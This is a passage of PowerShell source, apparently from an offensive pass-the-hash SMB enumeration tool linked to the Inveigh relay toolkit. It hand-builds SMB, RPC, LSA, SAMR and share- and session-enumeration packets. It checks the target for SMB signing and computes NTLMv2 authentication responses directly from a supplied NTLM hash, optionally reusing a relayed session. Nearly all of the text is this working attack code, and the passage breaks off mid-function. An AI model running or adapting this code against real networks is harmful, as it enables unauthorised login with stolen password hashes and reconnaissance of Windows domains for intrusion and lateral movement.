[Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth +} + +#RPC + +function New-PacketRPCBind +{ + param([Byte[]]$packet_frag_length,[Int]$packet_call_ID,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("Version",[Byte[]](0x05)) + $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("FragLength",$packet_frag_length) + $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID",$packet_context_ID) + $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer2",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer2",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface3",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer3",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind +} + +function New-PacketRPCRequest +{ + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketFlags",$packet_flags) + $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("FragLength",$packet_frag_length) + $packet_RPCRequest.Add("AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("CallID",$packet_call_ID) + $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("ContextID",$packet_context_ID) + $packet_RPCRequest.Add("Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("Data",$packet_data) + } + + return $packet_RPCRequest +} + +function New-PacketSRVSVCNetSessEnum +{ + param([String]$packet_target) + + [Byte[]]$packet_server_UNC = [System.Text.Encoding]::Unicode.GetBytes($packet_target) + + [String]$packet_server_UNC_padding_check = $packet_target.Length / 4 + + if($packet_target.Length % 2) + { + $packet_server_UNC += 0x00,0x00 + } + else + { + $packet_server_UNC += 0x00,0x00,0x00,0x00 + } + + [Byte[]]$packet_MaxCount = [System.BitConverter]::GetBytes($packet_target.Length + 1) + + $packet_SRVSVCNetSessEnum = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SRVSVCNetSessEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToServerUNC_MaxCount",$packet_MaxCount) + $packet_SRVSVCNetSessEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToServerUNC_ActualCount",$packet_MaxCount) + $packet_SRVSVCNetSessEnum.Add("PointerToServerUNC_ServerUNC",$packet_server_UNC) + $packet_SRVSVCNetSessEnum.Add("PointerToClient_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToClient_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToClient_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToClient_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToClient_Client",[Byte[]](0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToUser",[Byte[]](0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToUser_ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToUser_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToUser_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToUser_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToUser_User",[Byte[]](0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToLevel",[Byte[]](0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToLevel_Level",[Byte[]](0x0a,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_Ctr",[Byte[]](0x0a,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_ReferentID",[Byte[]](0x0c,0x00,0x02,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetSessEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SRVSVCNetSessEnum.Add("PointerToResumeHandle_ReferentID",[Byte[]](0x10,0x00,0x02,0x00)) + $packet_SRVSVCNetSessEnum.Add("PointerToResumeHandle_ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SRVSVCNetSessEnum +} + +# LSA +function New-PacketLSAOpenPolicy +{ + param([String]$packet_target) + + $packet_LSAOpenPolicy = New-Object System.Collections.Specialized.OrderedDictionary + $packet_LSAOpenPolicy.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_LSAOpenPolicy.Add("PointerToSystemName_System",[Byte[]](0x5c,0x00)) + $packet_LSAOpenPolicy.Add("PointerToSystemName_Unknown",[Byte[]](0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_Len",[Byte[]](0x18,0x00,0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_Attributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_Qos_Len",[Byte[]](0x0c,0x00,0x00,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ImpersonationLevel",[Byte[]](0x02,0x00)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ContextMode",[Byte[]](0x01)) + $packet_LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_EffectiveOnly",[Byte[]](0x00)) + $packet_LSAOpenPolicy.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + + return $packet_LSAOpenPolicy +} + +function New-PacketLSAQueryInfoPolicy +{ + param([Byte[]]$packet_policy_handle) + + $packet_LSAQueryInfoPolicy = New-Object System.Collections.Specialized.OrderedDictionary + $packet_LSAQueryInfoPolicy.Add("PointerToHandle",$packet_policy_handle) + $packet_LSAQueryInfoPolicy.Add("Level",[Byte[]](0x05,0x00)) + + return $packet_LSAQueryInfoPolicy +} + +function New-PacketLSAClose +{ + param([Byte[]]$packet_policy_handle) + + $packet_LSAClose = New-Object System.Collections.Specialized.OrderedDictionary + $packet_LSAClose.Add("PointerToHandle",$packet_policy_handle) + + return $packet_LSAClose +} + +# SAMR + +function New-PacketSAMRConnect5 +{ + param([String]$packet_target) + + $SMB_path = "\\" + $packet_target + [Byte[]]$packet_system_name = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + [Byte[]]$packet_max_count = [System.BitConverter]::GetBytes($SMB_path.Length + 1) + + if($SMB_path.Length % 2) + { + $packet_system_name += 0x00,0x00 + } + else + { + $packet_system_name += 0x00,0x00,0x00,0x00 + } + + $packet_SAMRConnect5 = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SAMRConnect5.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_SAMRConnect5.Add("PointerToSystemName_MaxCount",$packet_max_count) + $packet_SAMRConnect5.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SAMRConnect5.Add("PointerToSystemName_ActualCount",$packet_max_count) + $packet_SAMRConnect5.Add("PointerToSystemName_SystemName",$packet_system_name) + $packet_SAMRConnect5.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SAMRConnect5.Add("LevelIn",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_ClientVersion",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SAMRConnect5 +} + + +function New-PacketSAMROpenDomain +{ + param([Byte[]]$packet_connect_handle,[Byte[]]$packet_sid) + + $packet_SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SAMROpenDomain.Add("PointerToConnectHandle",$packet_connect_handle) + $packet_SAMROpenDomain.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SAMROpenDomain.Add("PointerToSid_Count",[Byte[]](0x04,0x00,0x00,0x00)) + $packet_SAMROpenDomain.Add("PointerToSid_Sid",$packet_sid) + + return $packet_SAMROpenDomain +} + +function New-PacketSAMREnumDomainUsers +{ + param([Byte[]]$packet_domain_handle) + + $packet_SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SAMROpenDomain.Add("PointerToDomainHandle",$packet_domain_handle) + $packet_SAMROpenDomain.Add("PointerToResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SAMROpenDomain.Add("AcctFlags",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SAMROpenDomain.Add("MaxSize",[Byte[]](0xff,0xff,0x00,0x00)) + + return $packet_SAMROpenDomain +} + +function New-PacketSRVSVCNetShareEnumAll +{ + param([String]$packet_target) + + $SMB_path = "\\" + $packet_target + [Byte[]]$packet_server_UNC = [System.Text.Encoding]::Unicode.GetBytes($packet_target) + + if($SMB_path.Length % 2) + { + $packet_server_UNC += 0x00,0x00 + } + else + { + $packet_server_UNC += 0x00,0x00,0x00,0x00 + } + + [Byte[]]$packet_max_count = [System.BitConverter]::GetBytes($packet_target.Length + 1) + + $packet_SRVSVCNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SRVSVCNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_SRVSVCNetShareEnum.Add("PointerToServerUNC_MaxCount",$packet_max_count) + $packet_SRVSVCNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetShareEnum.Add("PointerToServerUNC_ActualCount",$packet_max_count) + $packet_SRVSVCNetShareEnum.Add("PointerToServerUNC_ServerUNC",$packet_server_UNC) + $packet_SRVSVCNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SRVSVCNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SRVSVCNetShareEnum.Add("ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) + $packet_SRVSVCNetShareEnum.Add("ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SRVSVCNetShareEnum +} + +function DataLength2 +{ + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + + return $string_length +} + +if($hash -like "*:*") +{ + $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) +} + +if($Domain) +{ + $output_username = $Domain + "\" + $Username +} +else +{ + $output_username = $Username +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + + if(!$Inveigh) + { + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true + } + elseif(!$inveigh.session_socket_table[$session].Connected) + { + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true + } + + $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id +$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) +[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +if(!$inveigh_session) +{ + $SMB_client = New-Object System.Net.Sockets.TCPClient + $SMB_client.Client.ReceiveTimeout = 5000 +} + +if(!$startup_error -and !$inveigh_session) +{ + + try + { + $SMB_client.Connect($Target,"445") + } + catch + { + Write-Output "[-] $Target did not respond" + } + +} + +if($SMB_client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) +{ + $SMB_client_receive = New-Object System.Byte[] 81920 + + if(!$inveigh_session) + { + $SMB_client_stream = $SMB_client.GetStream() + $SMB_client_stage = 'NegotiateSMB' + + while($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') + { + + if($SigningCheck) + { + Write-Output "[+] SMB signing is required" + $SMB_client_stage = 'exit' + } + else + { + Write-Verbose "[+] SMB signing is required" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($SigningCheck) + { + Write-Output "[+] SMB signing is not required" + $SMB_client_stage = 'exit' + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0 + } + + } + + } + else + { + $SMB_client_stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') + { + + if($SigningCheck) + { + Write-Output "[+] SMB signing is required" + $SMB_client_stage = 'exit' + } + else + { + Write-Verbose "[+] SMB signing is required" + $SMB_signing = $true + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($SigningCheck) + { + Write-Output "[+] SMB signing is not required" + $SMB_client_stage = 'exit' + } + else + { + $SMB_signing = $false + $SMB_session_key_length = 0x00,0x00 + $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $SMB_negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + if(!$SigningCheck) + { + $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) + $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" + $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive + $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive + $SMB_session_ID = $SMB_client_receive[44..51] + $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] + $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) + $auth_domain_length = $auth_domain_length[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) + $auth_username_length = $auth_username_length[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) + $auth_hostname_length = $auth_hostname_length[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $SMB_target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $SMB_target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { 